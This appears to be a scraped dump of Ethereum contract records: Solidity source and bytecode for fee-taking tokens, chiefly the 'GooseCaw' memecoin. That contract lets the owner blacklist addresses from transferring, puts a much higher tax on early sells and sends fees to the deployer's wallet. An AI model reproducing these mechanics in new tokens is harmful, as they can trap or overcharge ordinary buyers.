sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); _transferBothExcluded(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _takepremierAddr(sender,tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takepremierAddr(address sender, uint256 tFee) private { _tOwned[premierAddr] = _tOwned[premierAddr].add(tFee); emit Transfer(sender, premierAddr, tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256) { uint256 tFee = calculateTaxFee(tAmount); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } }
0x608060405234801561001057600080fd5b506004361061014d5760003560e01c806370a08231116100c3578063a457c2d71161007c578063a457c2d7146105e9578063a9059cbb1461064d578063dd62ed3e146106b1578063ea2f0b3714610729578063f05966221461076d578063f2fde38b1461078b5761014d565b806370a0823114610468578063715018a6146104c05780638c85476f146104ca5780638da5cb5b146104fe578063947af6321461053257806395d89b41146105665761014d565b8063313ce56711610115578063313ce56714610309578063395093511461032a5780633b124fe71461038e578063437823ec146103ac5780634aa8e773146103f05780635342acb41461040e5761014d565b8063061c82d01461015257806306fdde0314610180578063095ea7b31461020357806318160ddd1461026757806323b872dd14610285575b600080fd5b61017e6004803603602081101561016857600080fd5b81019080803590602001909291905050506107cf565b005b6101886108a1565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c85780820151818401526020810190506101ad565b50505050905090810190601f1680156101f55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61024f6004803603604081101561021957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610943565b60405180821515815260200191505060405180910390f35b61026f610961565b6040518082815260200191505060405180910390f35b6102f16004803603606081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061096b565b60405180821515815260200191505060405180910390f35b610311610a44565b604051808260ff16815260200191505060405180910390f35b6103766004803603604081101561034057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a5b565b60405180821515815260200191505060405180910390f35b610396610b0e565b6040518082815260200191505060405180910390f35b6103ee600480360360208110156103c257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b14565b005b6103f8610c37565b6040518082815260200191505060405180910390f35b6104506004803603602081101561042457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c3d565b60405180821515815260200191505060405180910390f35b6104aa6004803603602081101561047e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c93565b6040518082815260200191505060405180910390f35b6104c8610cdc565b005b6104d2610e62565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610506610e88565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61053a610eb1565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61056e610ed7565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105ae578082015181840152602081019050610593565b50505050905090810190601f1680156105db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610635600480360360408110156105ff57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f79565b60405180821515815260200191505060405180910390f35b6106996004803603604081101561066357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611046565b60405180821515815260200191505060405180910390f35b610713600480360360408110156106c757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611064565b6040518082815260200191505060405180910390f35b61076b6004803603602081101561073f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110eb565b005b61077561120e565b6040518082815260200191505060405180910390f35b6107cd600480360360208110156107a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611214565b005b6107d761141f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610897576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600e8190555050565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109395780601f1061090e57610100808354040283529160200191610939565b820191906000526020600020905b81548152906001019060200180831161091c57829003601f168201915b5050505050905090565b600061095761095061141f565b8484611427565b6001905092915050565b6000600654905090565b600061097884848461161e565b610a398461098461141f565b610a3485604051806060016040528060288152602001611ff660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109ea61141f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186c9092919063ffffffff16565b611427565b600190509392505050565b6000600b60009054906101000a900460ff16905090565b6000610b04610a6861141f565b84610aff8560046000610a7961141f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192c90919063ffffffff16565b611427565b6001905092915050565b600e5481565b610b1c61141f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bdc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600d5481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ce461141f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610da4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6060600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f6f5780601f10610f4457610100808354040283529160200191610f6f565b820191906000526020600020905b815481529060010190602001808311610f5257829003601f168201915b5050505050905090565b600061103c610f8661141f565b84611037856040518060600160405280602581526020016120906025913960046000610fb061141f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461186c9092919063ffffffff16565b611427565b6001905092915050565b600061105a61105361141f565b848461161e565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110f361141f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c5481565b61121c61141f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611362576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180611f8d6026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ad576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061206c6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611533576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611fb36022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806120476025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561172a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611f6a6023913960400191505060405180910390fd5b60008111611783576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602981526020018061201e6029913960400191505060405180910390fd5b61179a600c54600d5461192c90919063ffffffff16565b42106117a9576000600e819055505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806118505750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561185a57600090505b611866848484846119b4565b50505050565b6000838311158290611919576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156118de5780820151818401526020810190506118c3565b50505050905090810190601f16801561190b5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156119aa576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b806119c2576119c16119e1565b5b6119cd848484611a05565b806119db576119da611bb5565b5b50505050565b6000600e5414156119f157611a03565b600e54600f819055506000600e819055505b565b600080611a1183611bc0565b91509150611a6783600360008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bf490919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611afc82600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192c90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b498582611c3e565b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b600f54600e81905550565b6000806000611bce84611da2565b90506000611be58286611bf490919063ffffffff16565b90508082935093505050915091565b6000611c3683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061186c565b905092915050565b611cb28160036000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461192c90919063ffffffff16565b60036000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000611dcc6064611dbe600e5485611dd390919063ffffffff16565b611e5990919063ffffffff16565b9050919050565b600080831415611de65760009050611e53565b6000828402905082848281611df757fe5b0414611e4e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180611fd56021913960400191505060405180910390fd5b809150505b92915050565b6000611e9b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611ea3565b905092915050565b60008083118290611f4f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611f14578082015181840152602081019050611ef9565b50505050905090810190601f168015611f415780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581611f5b57fe5b04905080915050939250505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212204c7bdc0b316f4692be369e6591897bb5bd5d34e1f474babba40bb9b9ceb143c164736f6c634300060c0033
{"success": true, "error": null, "results": {}}
75
0x3Cd09cF0170B0302Df863DaF48c66FB6B8c9A883
/** *Submitted for verification at Etherscan.io on 2022-04-24 */ // SPDX-License-Identifier: None /** GOOSECAW - Goose Caw - The only one who caws and lays golden eggs TG https://t.me/goosecaw Max Tx 20,000 (2%) Total 1,000,000 Tax 10% Slippage 40% Auto Anti-bot jeet tax protection enabled Selling in the first 30 blocks will suffer a higher tax **/ pragma solidity ^0.8.13; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract GooseCaw is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balance; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping(address => bool) public bots; uint256 private _taxFee; uint256 private _jeetPunishmentTax; address payable private _taxWallet; uint256 public _maxTxAmount; uint256 public _maxWallet; uint256 private _jeetPeriod=30; uint256 private launchBlock; uint256 private _tTotal = 1000000 * 10**8; string private constant _name = "Goose Caw"; string private constant _symbol = "GOOSECAW"; uint8 private constant _decimals = 8; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _taxFee = 10; _jeetPunishmentTax=90; _uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _balance[address(this)] = _tTotal; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; _maxTxAmount=20000 * 10**8; _maxWallet=40000 * 10**8; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balance[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function getJeetTax() public view returns (uint256){ if(isAntiJeetPeriod()){ return (_jeetPeriod-(block.number-launchBlock)).mul(3); }else{ return _taxFee; } } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); uint256 thisTax=_taxFee; if (from != owner() && to != owner()) { if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) { require(amount<=_maxTxAmount,"Transaction amount limited"); require(balanceOf(to) + amount <= _maxWallet, "Balance exceeded wallet size"); require(_canTrade); } if(_canTrade && to==_pair && isAntiJeetPeriod()){ thisTax=getJeetTax(); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance >= 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount,(_isExcludedFromFee[to]||_isExcludedFromFee[from])?0:thisTax); } function isAntiJeetPeriod() view public returns (bool){ return block.number>launchBlock&&block.number<launchBlock+_jeetPeriod; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function decreaseTax(uint256 newTaxRate) public onlyOwner{ require(newTaxRate<_taxFee); _taxFee=newTaxRate; } function increaseBuyLimit(uint256 amount) public onlyOwner{ require(amount>_maxTxAmount); _maxTxAmount=amount; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function createUniswapPair() external onlyOwner { _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH()); IERC20(_pair).approve(address(_uniswap), type(uint).max); } function addLiquidity() external onlyOwner{ _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; } function launchToken() external onlyOwner{ _canTrade = true; launchBlock=block.number; } function _tokenTransfer(address sender, address recipient, uint256 tAmount, uint256 taxRate) private { uint256 tTeam = tAmount.mul(taxRate).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); _balance[sender] = _balance[sender].sub(tAmount); _balance[recipient] = _balance[recipient].add(tTransferAmount); _balance[address(this)] = _balance[address(this)].add(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function increaseMaxWallet(uint256 amount) public onlyOwner{ require(amount>_maxWallet); _maxWallet=amount; } receive() external payable {} function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { if(bots_[i]!=address(_uniswap) && bots_[i]!=address(_pair) &&bots_[i]!=address(this)){ bots[bots_[i]] = true; } } } function unblockBot(address notbot) public { bots[notbot] = false; } function collectFee() public{ uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } }
0x60806040526004361061016a5760003560e01c80637d1db4a5116100d1578063a9059cbb1161008a578063d4d5d32a11610064578063d4d5d32a14610462578063dd62ed3e14610477578063e678e491146104bd578063e8078d94146104d257600080fd5b8063a9059cbb146103f2578063b515566a14610412578063bfd792841461043257600080fd5b80637d1db4a51461033857806382247ec01461034e5780638da5cb5b1461036457806395d89b411461038c5780639a024c1a146103bd578063a28a4d86146103dd57600080fd5b80634a131672116101235780634a1316721461026757806350e6a5c91461027c578063634dd8a61461029c5780636b999053146102b157806370a08231146102ed578063715018a61461032357600080fd5b806306fdde0314610176578063095ea7b3146101ba57806318160ddd146101ea57806323b872dd14610209578063313ce567146102295780633e7175c51461024557600080fd5b3661017157005b600080fd5b34801561018257600080fd5b50604080518082019091526009815268476f6f73652043617760b81b60208201525b6040516101b1919061157c565b60405180910390f35b3480156101c657600080fd5b506101da6101d53660046115f6565b6104e7565b60405190151581526020016101b1565b3480156101f657600080fd5b50600c545b6040519081526020016101b1565b34801561021557600080fd5b506101da610224366004611622565b6104fe565b34801561023557600080fd5b50604051600881526020016101b1565b34801561025157600080fd5b50610265610260366004611663565b610567565b005b34801561027357600080fd5b506102656105ad565b34801561028857600080fd5b50610265610297366004611663565b6107f0565b3480156102a857600080fd5b506101da61082d565b3480156102bd57600080fd5b506102656102cc36600461167c565b6001600160a01b03166000908152600460205260409020805460ff19169055565b3480156102f957600080fd5b506101fb61030836600461167c565b6001600160a01b031660009081526001602052604090205490565b34801561032f57600080fd5b50610265610853565b34801561034457600080fd5b506101fb60085481565b34801561035a57600080fd5b506101fb60095481565b34801561037057600080fd5b506000546040516001600160a01b0390911681526020016101b1565b34801561039857600080fd5b50604080518082019091526008815267474f4f534543415760c01b60208201526101a4565b3480156103c957600080fd5b506102656103d8366004611663565b6108c7565b3480156103e957600080fd5b50610265610904565b3480156103fe57600080fd5b506101da61040d3660046115f6565b610947565b34801561041e57600080fd5b5061026561042d3660046116af565b610954565b34801561043e57600080fd5b506101da61044d36600461167c565b60046020526000908152604090205460ff1681565b34801561046e57600080fd5b50610265610aa8565b34801561048357600080fd5b506101fb610492366004611774565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156104c957600080fd5b506101fb610ab2565b3480156104de57600080fd5b50610265610aee565b60006104f4338484610c04565b5060015b92915050565b600061050b848484610d28565b61055d843361055885604051806060016040528060288152602001611976602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906110f0565b610c04565b5060019392505050565b6000546001600160a01b0316331461059a5760405162461bcd60e51b8152600401610591906117ad565b60405180910390fd5b60095481116105a857600080fd5b600955565b6000546001600160a01b031633146105d75760405162461bcd60e51b8152600401610591906117ad565b600d54600c546105f49130916001600160a01b0390911690610c04565b600d60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610647573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061066b91906117e2565b6001600160a01b031663c9c6539630600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f191906117e2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801561073e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061076291906117e2565b600e80546001600160a01b0319166001600160a01b03928316908117909155600d5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af11580156107c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ed91906117ff565b50565b6000546001600160a01b0316331461081a5760405162461bcd60e51b8152600401610591906117ad565b600854811161082857600080fd5b600855565b6000600b544311801561084e5750600a54600b5461084b9190611837565b43105b905090565b6000546001600160a01b0316331461087d5760405162461bcd60e51b8152600401610591906117ad565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108f15760405162461bcd60e51b8152600401610591906117ad565b60055481106108ff57600080fd5b600555565b6000546001600160a01b0316331461092e5760405162461bcd60e51b8152600401610591906117ad565b600e805460ff60a01b1916600160a01b17905543600b55565b60006104f4338484610d28565b6000546001600160a01b0316331461097e5760405162461bcd60e51b8152600401610591906117ad565b60005b8151811015610aa457600d5482516001600160a01b03909116908390839081106109ad576109ad61184f565b60200260200101516001600160a01b0316141580156109fe5750600e5482516001600160a01b03909116908390839081106109ea576109ea61184f565b60200260200101516001600160a01b031614155b8015610a355750306001600160a01b0316828281518110610a2157610a2161184f565b60200260200101516001600160a01b031614155b15610a9257600160046000848481518110610a5257610a5261184f565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610a9c81611865565b915050610981565b5050565b476107ed8161112a565b6000610abc61082d565b15610ae75761084e6003600b5443610ad4919061187e565b600a54610ae1919061187e565b90611164565b5060055490565b6000546001600160a01b03163314610b185760405162461bcd60e51b8152600401610591906117ad565b600d546001600160a01b031663f305d7194730610b4a816001600160a01b031660009081526001602052604090205490565b600080610b5f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610bc7573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bec9190611895565b5050600e805460ff60b01b1916600160b01b17905550565b6001600160a01b038316610c665760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610591565b6001600160a01b038216610cc75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610591565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d8c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610591565b6001600160a01b038216610dee5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610591565b60008111610e505760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610591565b6001600160a01b03831660009081526004602052604090205460ff1615610e7657600080fd5b6005546000546001600160a01b03858116911614801590610ea557506000546001600160a01b03848116911